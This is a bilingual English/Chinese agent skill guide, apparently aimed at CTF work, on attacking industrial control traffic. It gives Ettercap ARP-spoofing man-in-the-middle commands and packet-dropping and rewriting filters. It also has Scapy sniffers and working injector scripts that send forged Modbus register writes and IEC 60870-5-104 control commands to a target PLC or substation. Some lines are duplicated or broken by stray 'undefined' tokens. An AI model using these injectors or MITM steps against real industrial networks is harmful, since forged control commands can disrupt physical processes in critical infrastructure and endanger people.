ics-traffic
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseICS/SCADA Traffic Analysis and Exploitation
ICS/SCADA流量分析与利用
When to Use
适用场景
Load this skill when:
- Analyzing Industrial Control System (ICS) or SCADA traffic
- Performing MITM attacks on ICS protocols
- Sniffing or injecting Modbus/TCP packets
- Working with IEC 60870-5-104 or DNP3 protocols
- Using Ettercap for ARP spoofing
- Crafting packets with Scapy
加载本技能的场景:
- 分析工业控制系统(ICS)或SCADA流量时
- 对ICS协议实施MITM攻击时
- 嗅探或注入Modbus/TCP数据包时
- 处理IEC 60870-5-104或DNP3协议时
- 使用Ettercap进行ARP欺骗时
- 使用Scapy构造数据包时
Prerequisites
前置条件
Essential Setup
必要配置
bash
undefinedbash
undefinedEnable IP forwarding (REQUIRED for MITM)
Enable IP forwarding (REQUIRED for MITM)
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv4.ip_forward=1
Verify setting
Verify setting
sysctl net.ipv4.ip_forward # Should return 1
**Why?** Without IP forwarding, intercepted packets won't be forwarded, causing network disruption and failed MITM.sysctl net.ipv4.ip_forward # Should return 1
**原因:** 如果未启用IP转发,截获的数据包将无法被转发,会导致网络中断并使MITM攻击失败。Check Network Interface
检查网络接口
bash
undefinedbash
undefinedList available interfaces
List available interfaces
ip link show
ip link show
Common interface names
Common interface names
- eth0: Wired Ethernet
- eth0: Wired Ethernet
- wlan0: Wireless
- wlan0: Wireless
- enp0s3: VirtualBox/VMware NAT
- enp0s3: VirtualBox/VMware NAT
undefinedundefinedEttercap MITM Attacks
Ettercap MITM攻击
Basic ARP Spoofing
基础ARP欺骗
bash
undefinedbash
undefinedText mode (recommended for CTF)
Text mode (recommended for CTF)
sudo ettercap -T -i eth0 -M arp:remote /192.168.1.100/ /192.168.1.1/
sudo ettercap -T -i eth0 -M arp:remote /192.168.1.100/ /192.168.1.1/
│ └─target────┘ └─gateway──┘
│ └─target────┘ └─gateway──┘
│
│
└─ Mode: arp:remote (full duplex MITM)
└─ Mode: arp:remote (full duplex MITM)
GUI mode
GUI mode
sudo ettercap -G
undefinedsudo ettercap -G
undefinedTarget Format
目标格式
| Format | Example | Description |
|---|---|---|
| Single IP | | Single target |
| IP range | | Range of IPs |
| CIDR notation | | Entire subnet |
| With ports | | Specific ports |
| MAC + IP | | MAC and IP |
| 格式 | 示例 | 描述 |
|---|---|---|
| 单个IP | | 单个目标 |
| IP范围 | | IP范围 |
| CIDR表示法 | | 整个子网 |
| 指定端口 | | 特定端口 |
| MAC+IP | | MAC地址与IP地址组合 |
ARP Spoofing Modes
ARP欺骗模式
bash
undefinedbash
undefinedFull duplex MITM (recommended)
Full duplex MITM (recommended)
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/
One-way poisoning
One-way poisoning
sudo ettercap -T -i eth0 -M arp:oneway /target/ /gateway/
sudo ettercap -T -i eth0 -M arp:oneway /target/ /gateway/
Auto-detect targets
Auto-detect targets
sudo ettercap -T -i eth0 -M arp
undefinedsudo ettercap -T -i eth0 -M arp
undefinedCapture Traffic to PCAP
将流量捕获为PCAP文件
bash
undefinedbash
undefinedSave intercepted traffic
Save intercepted traffic
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/ -w capture.pcap
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/ -w capture.pcap
Analyze with Wireshark
Analyze with Wireshark
wireshark capture.pcap
wireshark capture.pcap
Or with tshark
Or with tshark
tshark -r capture.pcap -Y "modbus"
undefinedtshark -r capture.pcap -Y "modbus"
undefinedEttercap Filters
Ettercap过滤器
Filter Compilation
过滤器编译
bash
undefinedbash
undefinedCompile filter
Compile filter
sudo etterfilter modbus_filter.etter -o modbus_filter.ef
sudo etterfilter modbus_filter.etter -o modbus_filter.ef
Use filter in Ettercap
Use filter in Ettercap
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/ -F modbus_filter.ef
undefinedsudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/ -F modbus_filter.ef
undefinedFilter Syntax
过滤器语法
c
// Basic structure
if (condition) {
action;
}
// Common conditions
if (ip.proto == TCP && tcp.dst == 502) {
msg("Modbus packet detected\n");
}
// Check specific bytes
if (ip.proto == TCP && tcp.dst == 502) {
if (DATA.data + 7 == 0x03) { // Function code 0x03 (Read Holding Registers)
msg("Read Holding Registers request\n");
}
}
// Block packets
if (tcp.dst == 502 && DATA.data + 7 == 0x05) { // Write Single Coil
drop();
msg("Blocked Write Single Coil\n");
}
// Modify packets
if (tcp.dst == 502) {
replace("old_value", "new_value");
}c
// Basic structure
if (condition) {
action;
}
// Common conditions
if (ip.proto == TCP && tcp.dst == 502) {
msg("Modbus packet detected\n");
}
// Check specific bytes
if (ip.proto == TCP && tcp.dst == 502) {
if (DATA.data + 7 == 0x03) { // Function code 0x03 (Read Holding Registers)
msg("Read Holding Registers request\n");
}
}
// Block packets
if (tcp.dst == 502 && DATA.data + 7 == 0x05) { // Write Single Coil
drop();
msg("Blocked Write Single Coil\n");
}
// Modify packets
if (tcp.dst == 502) {
replace("old_value", "new_value");
}Example: Modbus Write Blocker
示例:Modbus写入拦截器
c
// File: modbus_block_writes.etter
if (ip.proto == TCP && tcp.dst == 502) {
// Block write commands
if (DATA.data + 7 == 0x05 || // Write Single Coil
DATA.data + 7 == 0x06 || // Write Single Register
DATA.data + 7 == 0x0F || // Write Multiple Coils
DATA.data + 7 == 0x10) { // Write Multiple Registers
drop();
msg("Blocked Modbus write command\n");
}
}c
// File: modbus_block_writes.etter
if (ip.proto == TCP && tcp.dst == 502) {
// Block write commands
if (DATA.data + 7 == 0x05 || // Write Single Coil
DATA.data + 7 == 0x06 || // Write Single Register
DATA.data + 7 == 0x0F || // Write Multiple Coils
DATA.data + 7 == 0x10) { // Write Multiple Registers
drop();
msg("Blocked Modbus write command\n");
}
}Common ICS Protocols and Ports
常见ICS协议与端口
| Protocol | Port | Description | Use Case |
|---|---|---|---|
| Modbus/TCP | 502 | Industrial protocol | PLCs, SCADA systems |
| IEC 60870-5-104 | 2404 | Power grid control | Substation automation |
| DNP3 | 20000 | Utility SCADA | Electric/water utilities |
| OPC UA | 4840 | Industrial IoT | Modern SCADA |
| EtherNet/IP | 44818 | Rockwell automation | Allen-Bradley PLCs |
| S7comm | 102 | Siemens protocol | Siemens PLCs |
| 协议 | 端口 | 描述 | 适用场景 |
|---|---|---|---|
| Modbus/TCP | 502 | 工业协议 | PLC、SCADA系统 |
| IEC 60870-5-104 | 2404 | 电网控制协议 | 变电站自动化 |
| DNP3 | 20000 | 公共事业SCADA协议 | 电力/水务系统 |
| OPC UA | 4840 | 工业物联网协议 | 现代SCADA系统 |
| EtherNet/IP | 44818 | Rockwell自动化协议 | Allen-Bradley PLC |
| S7comm | 102 | Siemens协议 | Siemens PLC |
Modbus Protocol
Modbus协议
Modbus Function Codes
Modbus功能码
| Code | Function | Type | Risk |
|---|---|---|---|
| Read Coils | Read | Low |
| Read Discrete Inputs | Read | Low |
| Read Holding Registers | Read | Low |
| Read Input Registers | Read | Low |
| Write Single Coil | Write | High |
| Write Single Register | Write | High |
| Write Multiple Coils | Write | High |
| Write Multiple Registers | Write | High |
| 功能码 | 功能 | 类型 | 风险等级 |
|---|---|---|---|
| 读取线圈 | 只读 | 低 |
| 读取离散输入 | 只读 | 低 |
| 读取保持寄存器 | 只读 | 低 |
| 读取输入寄存器 | 只读 | 低 |
| 写入单个线圈 | 写入 | 高 |
| 写入单个寄存器 | 写入 | 高 |
| 写入多个线圈 | 写入 | 高 |
| 写入多个寄存器 | 写入 | 高 |
Scapy Modbus Sniffer
Scapy Modbus嗅探器
python
#!/usr/bin/env python3
"""Sniff Modbus/TCP traffic"""
from scapy.all import *
def modbus_callback(pkt):
"""Process Modbus packets"""
if TCP in pkt and pkt[TCP].dport == 502:
payload = bytes(pkt[TCP].payload)
if len(payload) >= 8:
func_code = payload[7]
func_names = {
0x01: "Read Coils",
0x03: "Read Holding Registers",
0x05: "Write Single Coil",
0x06: "Write Single Register",
0x0F: "Write Multiple Coils",
0x10: "Write Multiple Registers",
}
func_name = func_names.get(func_code, f"Unknown (0x{func_code:02x})")
print(f"[Modbus] {pkt[IP].src} -> {pkt[IP].dst} : {func_name}")python
#!/usr/bin/env python3
"""Sniff Modbus/TCP traffic"""
from scapy.all import *
def modbus_callback(pkt):
"""Process Modbus packets"""
if TCP in pkt and pkt[TCP].dport == 502:
payload = bytes(pkt[TCP].payload)
if len(payload) >= 8:
func_code = payload[7]
func_names = {
0x01: "Read Coils",
0x03: "Read Holding Registers",
0x05: "Write Single Coil",
0x06: "Write Single Register",
0x0F: "Write Multiple Coils",
0x10: "Write Multiple Registers",
}
func_name = func_names.get(func_code, f"Unknown (0x{func_code:02x})")
print(f"[Modbus] {pkt[IP].src} -> {pkt[IP].dst} : {func_name}")Sniff on interface
Sniff on interface
sniff(filter="tcp port 502", prn=modbus_callback, store=0)
undefinedsniff(filter="tcp port 502", prn=modbus_callback, store=0)
undefinedScapy Modbus Injector
Scapy Modbus注入器
python
#!/usr/bin/env python3
"""Inject Modbus/TCP packets"""
from scapy.all import *
def inject_modbus_write(target_ip, register_addr, value):
"""Inject Write Single Register command"""
# Modbus TCP header
transaction_id = 0x0001
protocol_id = 0x0000
length = 0x0006
unit_id = 0x01
# Modbus PDU
function_code = 0x06 # Write Single Register
# Build packet
modbus_pdu = struct.pack(
">HHHBBB H H",
transaction_id,
protocol_id,
length,
unit_id,
function_code,
register_addr,
value
)
pkt = IP(dst=target_ip)/TCP(dport=502)/Raw(load=modbus_pdu)
send(pkt)
print(f"[+] Injected: Write Register {register_addr} = {value}")python
#!/usr/bin/env python3
"""Inject Modbus/TCP packets"""
from scapy.all import *
def inject_modbus_write(target_ip, register_addr, value):
"""Inject Write Single Register command"""
# Modbus TCP header
transaction_id = 0x0001
protocol_id = 0x0000
length = 0x0006
unit_id = 0x01
# Modbus PDU
function_code = 0x06 # Write Single Register
# Build packet
modbus_pdu = struct.pack(
">HHHBBB H H",
transaction_id,
protocol_id,
length,
unit_id,
function_code,
register_addr,
value
)
pkt = IP(dst=target_ip)/TCP(dport=502)/Raw(load=modbus_pdu)
send(pkt)
print(f"[+] Injected: Write Register {register_addr} = {value}")Usage
Usage
inject_modbus_write("192.168.1.100", register_addr=100, value=999)
undefinedinject_modbus_write("192.168.1.100", register_addr=100, value=999)
undefinedIEC 60870-5-104 Protocol
IEC 60870-5-104协议
Scapy IEC 104 Sniffer
Scapy IEC 104嗅探器
python
#!/usr/bin/env python3
"""Sniff IEC 60870-5-104 traffic"""
from scapy.all import *
def iec104_callback(pkt):
"""Process IEC 104 packets"""
if TCP in pkt and pkt[TCP].dport == 2404:
payload = bytes(pkt[TCP].payload)
if len(payload) >= 2:
start_byte = payload[0]
if start_byte == 0x68: # IEC 104 APDU start
apdu_len = payload[1]
print(f"[IEC 104] {pkt[IP].src} -> {pkt[IP].dst} : APDU Length {apdu_len}")
sniff(filter="tcp port 2404", prn=iec104_callback, store=0)python
#!/usr/bin/env python3
"""Sniff IEC 60870-5-104 traffic"""
from scapy.all import *
def iec104_callback(pkt):
"""Process IEC 104 packets"""
if TCP in pkt and pkt[TCP].dport == 2404:
payload = bytes(pkt[TCP].payload)
if len(payload) >= 2:
start_byte = payload[0]
if start_byte == 0x68: # IEC 104 APDU start
apdu_len = payload[1]
print(f"[IEC 104] {pkt[IP].src} -> {pkt[IP].dst} : APDU Length {apdu_len}")
sniff(filter="tcp port 2404", prn=iec104_callback, store=0)IEC 104 Command Injection
IEC 104命令注入
python
#!/usr/bin/env python3
"""Inject IEC 104 control commands"""
from scapy.all import *
def inject_iec104_command(target_ip, ioa, value):
"""Inject single command"""
# IEC 104 APDU structure (simplified)
start = 0x68
length = 0x0E
control_field = 0x0000
type_id = 0x2D # C_SC_NA_1 (Single Command)
apdu = bytes([start, length]) + struct.pack("<H", control_field)
apdu += bytes([type_id, 0x01, 0x06, 0x00]) # SQ=0, NumIX=1
apdu += struct.pack("<I", ioa) # Information Object Address
apdu += bytes([value & 0xFF])
pkt = IP(dst=target_ip)/TCP(dport=2404)/Raw(load=apdu)
send(pkt)
print(f"[+] Injected IEC 104 command: IOA={ioa}, Value={value}")python
#!/usr/bin/env python3
"""Inject IEC 104 control commands"""
from scapy.all import *
def inject_iec104_command(target_ip, ioa, value):
"""Inject single command"""
# IEC 104 APDU structure (simplified)
start = 0x68
length = 0x0E
control_field = 0x0000
type_id = 0x2D # C_SC_NA_1 (Single Command)
apdu = bytes([start, length]) + struct.pack("<H", control_field)
apdu += bytes([type_id, 0x01, 0x06, 0x00]) # SQ=0, NumIX=1
apdu += struct.pack("<I", ioa) # Information Object Address
apdu += bytes([value & 0xFF])
pkt = IP(dst=target_ip)/TCP(dport=2404)/Raw(load=apdu)
send(pkt)
print(f"[+] Injected IEC 104 command: IOA={ioa}, Value={value}")DNP3 Protocol
DNP3协议
Scapy DNP3 Sniffer
Scapy DNP3嗅探器
python
#!/usr/bin/env python3
"""Sniff DNP3 traffic"""
from scapy.all import *
def dnp3_callback(pkt):
"""Process DNP3 packets"""
if TCP in pkt and pkt[TCP].dport == 20000:
payload = bytes(pkt[TCP].payload)
if len(payload) >= 10 and payload[0:2] == b'\x05\x64':
print(f"[DNP3] {pkt[IP].src} -> {pkt[IP].dst}")
sniff(filter="tcp port 20000", prn=dnp3_callback, store=0)python
#!/usr/bin/env python3
"""Sniff DNP3 traffic"""
from scapy.all import *
def dnp3_callback(pkt):
"""Process DNP3 packets"""
if TCP in pkt and pkt[TCP].dport == 20000:
payload = bytes(pkt[TCP].payload)
if len(payload) >= 10 and payload[0:2] == b'\x05\x64':
print(f"[DNP3] {pkt[IP].src} -> {pkt[IP].dst}")
sniff(filter="tcp port 20000", prn=dnp3_callback, store=0)Practical Tips
实用技巧
Verify MITM Success
验证MITM攻击成功
bash
undefinedbash
undefinedOn target machine, check ARP table
On target machine, check ARP table
arp -a
arp -a
Look for gateway MAC matching attacker's MAC
Look for gateway MAC matching attacker's MAC
Example output:
Example output:
? (192.168.1.1) at AA:BB:CC:DD:EE:FF [ether] on eth0
? (192.168.1.1) at AA:BB:CC:DD:EE:FF [ether] on eth0
└─ Should be attacker's MAC if MITM successful
└─ Should be attacker's MAC if MITM successful
undefinedundefinedRestore Network After Attack
攻击后恢复网络
bash
undefinedbash
undefinedEttercap automatically restores ARP on exit (Ctrl+C)
Ettercap automatically restores ARP on exit (Ctrl+C)
Manual restore (if needed)
Manual restore (if needed)
sudo arp -d 192.168.1.1 # Delete poisoned entry
undefinedsudo arp -d 192.168.1.1 # Delete poisoned entry
undefinedAnalyze Captured Traffic
分析捕获的流量
bash
undefinedbash
undefinedFilter Modbus in Wireshark
Filter Modbus in Wireshark
tcp.port == 502
tcp.port == 502
Extract Modbus function codes with tshark
Extract Modbus function codes with tshark
tshark -r capture.pcap -Y "modbus" -T fields -e modbus.func_code
tshark -r capture.pcap -Y "modbus" -T fields -e modbus.func_code
Count packet types
Count packet types
tshark -r capture.pcap -Y "tcp.port == 502" | wc -l
undefinedtshark -r capture.pcap -Y "tcp.port == 502" | wc -l
undefinedQuick Reference
快速参考
| Task | Command |
|---|---|
| Enable IP forward | |
| Basic ARP spoof | |
| Compile filter | |
| Use filter | |
| Capture PCAP | |
| Sniff Modbus | |
| Check ARP table | |
| 任务 | 命令 |
|---|---|
| 启用IP转发 | |
| 基础ARP欺骗 | |
| 编译过滤器 | |
| 使用过滤器 | |
| 捕获PCAP | |
| 嗅探Modbus | |
| 查看ARP表 | |
Bundled Resources
附带资源
Scapy Scripts
Scapy脚本
- - Modbus/TCP packet sniffer
scapy_scripts/modbus_sniffer.py - - Inject Modbus commands
scapy_scripts/modbus_inject.py - - Replay captured Modbus traffic
scapy_scripts/modbus_replay.py - - IEC 104 packet sniffer
scapy_scripts/iec104_sniffer.py - - IEC 104 command injection
scapy_scripts/iec104_inject.py - - DNP3 packet sniffer
scapy_scripts/dnp3_sniffer.py
- - Modbus/TCP数据包嗅探器
scapy_scripts/modbus_sniffer.py - - Modbus命令注入工具
scapy_scripts/modbus_inject.py - - 重放捕获的Modbus流量
scapy_scripts/modbus_replay.py - - IEC 104数据包嗅探器
scapy_scripts/iec104_sniffer.py - - IEC 104命令注入工具
scapy_scripts/iec104_inject.py - - DNP3数据包嗅探器
scapy_scripts/dnp3_sniffer.py
Ettercap Filters
Ettercap过滤器
- - Log Modbus function codes
ettercap_filters/modbus_filter.etter - - Block Modbus write commands
ettercap_filters/modbus_block_writes.etter - - Allow only read operations
ettercap_filters/modbus_read_only.etter - - IEC 104 packet logging
ettercap_filters/iec104_filter.etter - - Block IEC 104 control
ettercap_filters/iec104_block_commands.etter - - Block DNP3 commands
ettercap_filters/dnp3_block_commands.etter
- - 记录Modbus功能码
ettercap_filters/modbus_filter.etter - - 拦截Modbus写入命令
ettercap_filters/modbus_block_writes.etter - - 仅允许只读操作
ettercap_filters/modbus_read_only.etter - - 记录IEC 104数据包
ettercap_filters/iec104_filter.etter - - 拦截IEC 104控制命令
ettercap_filters/iec104_block_commands.etter - - 拦截DNP3命令
ettercap_filters/dnp3_block_commands.etter
References
参考文档
- - Comprehensive Ettercap guide
references/ettercap_usage.md - - Modbus protocol reference
references/modbus_quickref.md - - ICS protocol port reference
references/ics_ports.md
- - 完整Ettercap使用指南
references/ettercap_usage.md - - Modbus协议速查手册
references/modbus_quickref.md - - IEC协议端口参考
references/ics_ports.md
Keywords
关键词
ICS, SCADA, industrial control systems, Modbus, Modbus/TCP, IEC 60870-5-104, IEC 104, DNP3, Ettercap, ARP spoofing, MITM, man in the middle, Scapy, packet injection, PLC, programmable logic controller, protocol analysis, network security, critical infrastructure
ICS, SCADA, industrial control systems, Modbus, Modbus/TCP, IEC 60870-5-104, IEC 104, DNP3, Ettercap, ARP spoofing, MITM, man in the middle, Scapy, packet injection, PLC, programmable logic controller, protocol analysis, network security, critical infrastructure